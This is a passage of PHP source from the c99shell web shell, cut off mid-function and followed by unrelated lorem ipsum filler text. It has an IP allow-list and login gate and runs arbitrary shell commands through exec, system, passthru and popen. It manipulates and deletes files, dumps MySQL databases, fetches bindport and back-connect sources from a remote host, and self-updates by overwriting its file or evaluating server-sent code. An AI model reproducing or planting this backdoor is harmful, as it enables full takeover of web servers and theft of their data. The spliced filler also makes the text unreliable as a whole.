echo '</b></div></font></td></tr></table>';
return null;
}
@set_time_limit(0);
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\*",".*",preg_quote($v));}
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href="http://ccteam.ru/releases/cc99shell">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
if (!empty($login))
{
 if (empty($md5_pass)) {$md5_pass = md5($pass);}
 if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
 {
  if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  header("WWW-Authenticate: Basic realm="c99shell ".$shver.": ".$login_txt.""");
  header("HTTP/1.0 401 Unauthorized");
  exit($accessdeniedmess);
 }
}
if ($act != "img")
{
$lastdir = realpath(".");
chdir($curdir);
if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}

$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
 $disablefunc = str_replace(" ","",$disablefunc);
 $disablefunc = explode(",",$disablefunc);
}

if (!function_exists("c99_buff_prepare"))
{
function c99_buff_prepare()
{
 global $sess_data;
 global $act;
 foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
 foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
 $sess_data["copy"] = array_unique($sess_data["copy"]);
 $sess_data["cut"] = array_unique($sess_data["cut"]);
 sort($sess_data["copy"]);
 sort($sess_data["cut"]);
 if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
 else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
c99_buff_prepare();
if (!function_exists("c99_sess_put"))
{
function c99_sess_put($data)
{
 global $sess_cookie;
 global $sess_data;
 c99_buff_prepare();
 $sess_data = $data;
 $data = serialize($data);
 setcookie($sess_cookie,$data);
}
}
foreach (array("sort","sql_sort") as $v)
{
 if (!empty($_GET[$v])) {$$v = $_GET[$v];}
 if (!empty($_POST[$v])) {$$v = $_POST[$v];}
}
if ($sort_save)
{
 if (!empty($sort)) {setcookie("sort",$sort);}
 if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini"))
{
function str2mini($content,$len)
{
 if (strlen($content) > $len)
 {
  $len = ceil($len/2) - 2;
  return substr($content, 0,$len)."...".substr($content,-$len);
 }
 else {return $content;}
}
}
if (!function_exists("view_size"))
{
function view_size($size)
{
 if (!is_numeric($size)) {return FALSE;}
 else
 {
  if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  else {$size = $size . " B";}
  return $size;
 }
}
}
if (!function_exists("fs_copy_dir"))
{
function fs_copy_dir($d,$t)
{
 $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 $h = opendir($d);
 while (($o = readdir($h)) !== FALSE)
 {
  if (($o != ".") and ($o != ".."))
  {
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   if (!$ret) {return $ret;}
  }
 }
 closedir($h);
 return TRUE;
}
}
if (!function_exists("fs_copy_obj"))
{
function fs_copy_obj($d,$t)
{
 $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
 $t = str_replace("\",DIRECTORY_SEPARATOR,$t);
 if (!is_dir(dirname($t))) {mkdir(dirname($t));}
 if (is_dir($d))
 {
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  return fs_copy_dir($d,$t);
 }
 elseif (is_file($d)) {return copy($d,$t);}
 else {return FALSE;}
}
}
if (!function_exists("fs_move_dir"))
{
function fs_move_dir($d,$t)
{
 $h = opendir($d);
 if (!is_dir($t)) {mkdir($t);}
 while (($o = readdir($h)) !== FALSE)
 {
  if (($o != ".") and ($o != ".."))
  {
   $ret = TRUE;
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
   if (!$ret) {return $ret;}
  }
 }
 closedir($h);
 return TRUE;
}
}
if (!function_exists("fs_move_obj"))
{
function fs_move_obj($d,$t)
{
 $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
 $t = str_replace("\",DIRECTORY_SEPARATOR,$t);
 if (is_dir($d))
 {
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  return fs_move_dir($d,$t);
 }
 elseif (is_file($d))
 {
  if(copy($d,$t)) {return unlink($d);}
  else {unlink($t); return FALSE;}
 }
 else {return FALSE;}
}
}
if (!function_exists("fs_rmdir"))
{
function fs_rmdir($d)
{
 $h = opendir($d);
 while (($o = readdir($h)) !== FALSE)
 {
  if (($o != ".") and ($o != ".."))
  {
   if (!is_dir($d.$o)) {unlink($d.$o);}
   else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  }
 }
 closedir($h);
 rmdir($d);
 return !is_dir($d);
}
}
if (!function_exists("fs_rmobj"))
{
function fs_rmobj($o)
{
 $o = str_replace("\",DIRECTORY_SEPARATOR,$o);
 if (is_dir($o))
 {
  if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  return fs_rmdir($o);
 }
 elseif (is_file($o)) {return unlink($o);}
 else {return FALSE;}
}
}
if (!function_exists("myshellexec"))
{
function myshellexec($cmd)
{
 global $disablefunc;
 $result = "";
 if (!empty($cmd))
 {
  if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("n",$result);}
  elseif (($result = `$cmd`) !== FALSE) {}
  elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  elseif (is_resource($fp = popen($cmd,"r")))
  {
   $result = "";
   while(!feof($fp)) {$result .= fread($fp,1024);}
   pclose($fp);
  }
 }
 return $result;
}
}
if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
if (!function_exists("view_perms"))
{
function view_perms($mode)
{
 if (($mode & 0xC000) === 0xC000) {$type = "s";}
 elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
 elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
 elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
 elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
 elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
 elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
 else {$type = "?";}

 $owner["read"] = ($mode & 00400)?"r":"-";
 $owner["write"] = ($mode & 00200)?"w":"-";
 $owner["execute"] = ($mode & 00100)?"x":"-";
 $group["read"] = ($mode & 00040)?"r":"-";
 $group["write"] = ($mode & 00020)?"w":"-";
 $group["execute"] = ($mode & 00010)?"x":"-";
 $world["read"] = ($mode & 00004)?"r":"-";
 $world["write"] = ($mode & 00002)? "w":"-";
 $world["execute"] = ($mode & 00001)?"x":"-";

 if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
 if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
 if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}

 return $type.join("",$owner).join("",$group).join("",$world);
}
}
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
if (!function_exists("parse_perms"))
{
function parse_perms($mode)
{
 if (($mode & 0xC000) === 0xC000) {$t = "s";}
 elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
 elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
 elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
 elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
 elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
 elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
 else {$t = "?";}
 $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
 $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
 $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
 return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}
if (!function_exists("parsesort"))
{
function parsesort($sort)
{
 $one = intval($sort);
 $second = substr($sort,-1);
 if ($second != "d") {$second = "a";}
 return array($one,$second);
}
}
if (!function_exists("view_perms_color"))
{
function view_perms_color($o)
{
 if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
 elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
 else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
}
}
if (!function_exists("c99getsource"))
{
function c99getsource($fn)
{
 global $c99sh_sourcesurl;
 $array = array(
  "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
  "c99sh_bindport.c" => "c99sh_bindport_c.txt",
  "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
  "c99sh_backconn.c" => "c99sh_backconn_c.txt",
  "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
  "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
 );
 $name = $array[$fn];
 if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}
 else {return FALSE;}
}
}
if (!function_exists("c99sh_getupdate"))
{
function c99sh_getupdate($update = TRUE)
{
 $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
 $data = @file_get_contents($url);
 if (!$data) {return "Can't connect to update-server!";}
 else
 {
  $data = ltrim($data);
  $string = substr($data,3,ord($data{2}));
  if ($data{0} == "x99" and $data{1} == "x01") {return "Error: ".$string; return FALSE;}
  if ($data{0} == "x99" and $data{1} == "x02") {return "You are using latest version!";}
  if ($data{0} == "x99" and $data{1} == "x03")
  {
   $string = explode("x01",$string);
   if ($update)
   {
    $confvars = array();
    $sourceurl = $string[0];
    $source = file_get_contents($sourceurl);
    if (!$source) {return "Can't fetch update!";}
    else
    {
     $fp = fopen(__FILE__,"w");
     if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually <a href="".$sourceurl.""><u>here</u></a>.";}
     else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
    }
   }
   else {return "New version are available: ".$string[1];}
  }
  elseif ($data{0} == "x99" and $data{1} == "x04") {eval($string); return 1;}
  else {return "Error in protocol: segmentation failed! (".$data.") ";}
 }
}
}
if (!function_exists("mysql_dump"))
{
function mysql_dump($set)
{
 global $shver;
 $sock = $set["sock"];
 $db = $set["db"];
 $print = $set["print"];
 $nl2br = $set["nl2br"];
 $file = $set["file"];
 $add_drop = $set["add_drop"];
 $tabs = $set["tabs"];
 $onlytabs = $set["onlytabs"];
 $ret = array();
 $ret["err"] = array();
 if (!is_resource($sock)) {echo("Error: $sock is not valid resource.");}
 if (empty($db)) {$db = "db";}
 if (empty($print)) {$print = 0;}
 if (empty($nl2br)) {$nl2br = 0;}
 if (empty($add_drop)) {$add_drop = TRUE;}
 if (empty($file))
 {
  $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
 }
 if (!is_array($tabs)) {$tabs = array();}
 if (empty($add_drop)) {$add_drop = TRUE;}
 if (sizeof($tabs) == 0)
 {
  // retrive tables-list
  $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
 }
 $out = "# Dumped by C99Shell.SQL v. ".$shver."
# Home page: http://ccteam.ru
#
# Host settings:
# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
# Date: ".date("d.m.Y H:i:s")."
# DB: "".$db.""
#---------------------------------------------------------
";
 $c = count($onlytabs);
 foreach($tabs as $tab)
 {
  if ((in_array($tab,$onlytabs)) or (!$c))
  {
   if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;n";}
   // recieve query for create table structure
   $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
   if (!$res) {$ret["err"][] = mysql_smarterror();}
   else
   {
    $row = mysql_fetch_row($res);
    $out .= $row["1"].";nn";
    // recieve table variables
    $res = mysql_query("SELECT * FROM `$tab`", $sock);
    if (mysql_num_rows($res) > 0)
    {
     while ($row = mysql_fetch_assoc($res))
     {
      $keys = implode("`, `", array_keys($row));
      $values = array_values($row);
      foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
      $values = implode("', '", $values);
      $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');n";
      $out .= $sql;
     }
    }
   }
  }
 }
 $out .= "#---------------------------------------------------------------------------------nn";
 if ($file)
 {
  $fp = fopen($file, "w");
  if (!$fp) {$ret["err"][] = 2;}
  else
  {
   fwrite ($fp, $out);
   fclose ($fp);
  }
 }
 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
 return $out;
}
}
if (!function_exists("mysql_buildwhere"))
{
function mysql_buildwhere($array,$sep=" and",$functs=array())
{
 if (!is_array($array)) {$array = array();}
 $result = "";
 foreach($array as $k=>$v)
 {
  $value = "";
  if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  $value .= "'".addslashes($v)."'";
  if (!empty($functs[$k])) {$value .= ")";}
  $result .= "`".$k."` = ".$value.$sep;
 }
 $result = substr($result,0,strlen($result)-strlen($sep));
 return $result;
}
}
if (!function_exists("mysql_fetch_all"))
{
function mysql_fetch_all($query,$sock)
{
 if ($sock) {$result = mysql_query($query,$sock);}
 else {$result = mysql_query($query);}
 $array = array();
 while ($row = mysql_fetch_array($result)) {$array[] = $row;}
 mysql_free_result($result);
 return $array;
}
}
if (!function_exists("mysql_smarterror"))
{
function mysql_smarterror($type,$sock)
{
 if ($sock) {$error = mysql_error($sock);}
 else {$error = mysql_error();}
 $error = htmlspecialchars($error);
 return $error;
}
}
if (!function_exists("mysql_query_form"))
{
function mysql_query_form()
{
 global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
 if ((!$submit) or ($sql_act))
 {
  echo "<table border=0><tr><td><form name="c99sh_sqlquery" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value="".htmlspecialchars($sql_tbl).""><input type=hidden name=submit value="1"><input type=hidden name="sql_goto" value="".htmlspecialchars($sql_goto).""><input type=submit name=sql_confirm value="Yes">&nbsp;<input type=submit value="No"></form></td>";
  if ($tbl_struct)
  {
   echo "<td valign="top"><b>Fields:</b><br>";
   foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "ยป <a href="#" onclick="document.c99sh_sqlquery.sql_query.value+='`".$name."`';"><b>".$name."</b></a><br>";}
   echo "</td></tr></table>";
  }
 }
 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
}
}
if (!function_exists("mysql_create_db"))
{
function mysql_create_db($db,$sock="")
{
 $sql = "CREATE DATABASE `".addslashes($db)."`;";
 if ($sock) {return mysql_query($sql,$sock);}
 else {return mysql_query($sql);}
}
}
if (!function_exists("mysql_query_parse"))
{
function mysql_query_parse($query)
{
 $query = trim($query);
 $arr = explode (" ",$query);
 /*array array()
 {
  "METHOD"=>array(output_type),
  "METHOD1"...
  ...
 }
 if output_type == 0, no output,
 if output_type == 1, no output if no error
 if output_type == 2, output without control-buttons
 if output_type == 3, output with control-buttons
 */
 $types = array(
  "SELECT"=>array(3,1),
  "SHOW"=>array(2,1),
  "DELETE"=>array(1),
  "DROP"=>array(1)
 );
 $result = array();
 $op = strtoupper($arr[0]);
 if (is_array($types[$op]))
 {
  $result["propertions"] = $types[$op];
  $result["query"]  = $query;
  if ($types[$op] == 2)
  {
   foreach($arr as $k=>$v)
   {
    if (strtoupper($v) == "LIMIT")
    {
     $result["limit"] = $arr[$k+1];
     $result["limit"] = explode(",",$result["limit"]);
     if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
     unset($arr[$k],$arr[$k+1]);
    }
   }
  }
 }
 else {return FALSE;}
}
}
if (!function_exists("c99fsearch"))
{
function c99fsearch($d)
{
 global $found;
 global $found_d;
 global $found_f;
 global $search_i_f;
 global $search_i_d;
 global $a;
 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 $h = opendir($d);
 while (($f = readdir($h))


Lorem ipsum dolor sit praesent.
Cum sociis natoque penatibus et magnis dis parturient montes nascetur ridiculus mus. Fusce feugiat malesuada odioorbi nunc odio. gravida at, cursus nec.
Cum sociis natoque penatibus et magnis dis parturient montes nascetur ridiculus mus. Fusce feugiat malesuada odioorbi.
Cum sociis natoque penatibus et magnis.


Lorem ipsum dolor sit praesent.
Cum sociis natoque penatibus et magnis dis parturient montes nascetur ridiculus mus. Fusce feugiat malesuada odioorbi nunc odio. gravida at, cursus nec.
Magnis dis parturient montes nascetur ridiculus mus. Fusce feugiat male- suada odioorbi nunc odio. gravida at, cursus. nec, luctus alorem.
Magnis dis parturient montes nascetur ridiculus mus. Fusce feugiat male- suada odioorbi nunc odio. gravida at, cursus. nec, luctus alorem.
Cum sociis natoque penatibus et magnis dis parturient montes nascetur ridiculus